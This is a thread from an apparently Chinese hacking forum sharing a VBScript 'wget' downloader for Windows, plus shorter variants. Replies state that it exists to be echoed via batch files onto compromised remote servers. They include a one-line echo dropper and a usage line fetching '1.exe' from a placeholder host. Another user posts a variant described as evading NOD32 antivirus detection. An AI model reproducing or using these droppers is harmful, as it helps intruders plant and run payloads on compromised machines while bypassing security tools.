wget.vbs

/*
严格来说不算原创
大部分代码参阅 以及借鉴 甚至 copy 别人的
严格来说只是修改别人的代码 且修改得乱得一逼,
*/
psb.png



on error resume next
If WScript.Arguments.Count = 1 Then
strUrl = Wscript.Arguments.Item(0)
strFile = Right(strUrl,Len(strUrl)-InStrRev(strUrl,"/"))
sCurPath = CreateObject("Scripting.FileSystemObject").GetAbsolutePathName(".")
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Const ForWriting = 2
Dim web, varByteArray, strData, strBuffer, lngCounter, ado


Err.Clear
Set web = Nothing
Set web = CreateObject("MSXML2.ServerXMLHTTP")
web.Open "GET", strURL, False
web.Send
If Err.Number <> 0 Then
WScript.Echo "

  • Connection Error"
    SaveWebBinary = False
    Set web = Nothing
    WScript.Quit
    End If
    If web.Status <> "200" Then
    WScript.Echo "
  • Not Fund this file"
    SaveWebBinary = False
    Set web = Nothing
    WScript.Quit
    End If
    varByteArray = web.ResponseBody
    'WScript.Echo varByteArray
    Set web = Nothing

'Save the file
'On Error Resume Next
Set ado = Nothing
Set ado = CreateObject("ADODB.Stream")
If ado Is Nothing Then
Set fs = CreateObject("Scripting.FileSystemObject")
Set ts = fs.OpenTextFile(strFile, ForWriting, True)
strData = ""
strBuffer = ""
For lngCounter = 0 to UBound(varByteArray)
ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1)))
Next
ts.Close
Else
ado.Type = adTypeBinary
ado.Open
ado.Write varByteArray
ado.SaveToFile strFile, adSaveCreateOverWrite
WScript.Echo "================================================================"
WScript.Echo "[+] Download Success!"
WScript.Echo " "
WScript.Echo "[+] Save To=> "&sCurPath&""&strFile
WScript.Echo "================================================================"
ado.Close
End If
SaveWebBinary = True
Else
WScript.Echo "================================================================"

WScript.Echo " [!] VBScript based WGET - Changes by Lostwolf"
WScript.Echo " "
WScript.Echo " [!] wget: missing URL"
WScript.Echo " "

WScript.Echo " [!] Usage: Cscript.exe wget.vbs [URL]..."
WScript.Echo "================================================================"
'WScript.Arguments.ShowUsage()
End if

谢谢{:4_59:}{:4_59:}

好东西,收藏了。

nice!!! {:4_59:}

不错的东西呀!windows下wget

**回复 5# hack小恒 **

windows下本来就可以装wget
之所以用vbs的就是 因为
vbs的方便通过bat写进远程服务器

[code="vb"]
echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs

这个是最简单的 没有多余的代码 一句话写进去
cscript iget.vbs http://xxoo.com/1.exe

回复 hack小恒

windows下本来就可以装wget
之所以用vbs的就是 因为
vbs的方便通过bat写进远程服务器 ...
lostwolf 发表于 2012-1-16 03:37 [[img]http://www.90sec.org/images/common/back.gif[/img\]](http://www.90sec.org/redirect.php?goto=findpost&pid=12831&ptid=1316)

嗯。这个不免杀。。。。。nod32报毒
我放个免杀的吧iLocal = LCase(WScript.Arguments(1))   

iRemote = LCase(WScript.Arguments(0))
Set testPost = CreateObject("Microsoft.XMLHTTP")
testPost.Open "GET",iRemote,0
testPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(testPost.responseBody)
sGet.SaveToFile iLocal,2
保存为vbs就可以用了,用法一样 url 加 save file name

嗯。这个不免杀。。。。。nod32报毒
我放个免杀的吧保存为vbs就可以用了,用法一样 url 加 ...
secxcn 发表于 2012-1-16 11:21 [[img]http://www.90sec.org/images/common/back.gif[/img\]](http://www.90sec.org/redirect.php?goto=findpost&pid=12854&ptid=1316)

的确 这个是免杀的

直接执行弹了好几个框。。。。。{:4_51:}

**回复 10# sincoder **
cscript wget.vbs ..............

不错 不错 其他人给的代码 我执行 都提示下标越界。。。原来使用 Cscript 执行之 就不会弹框了。。。

还是wget.exe好用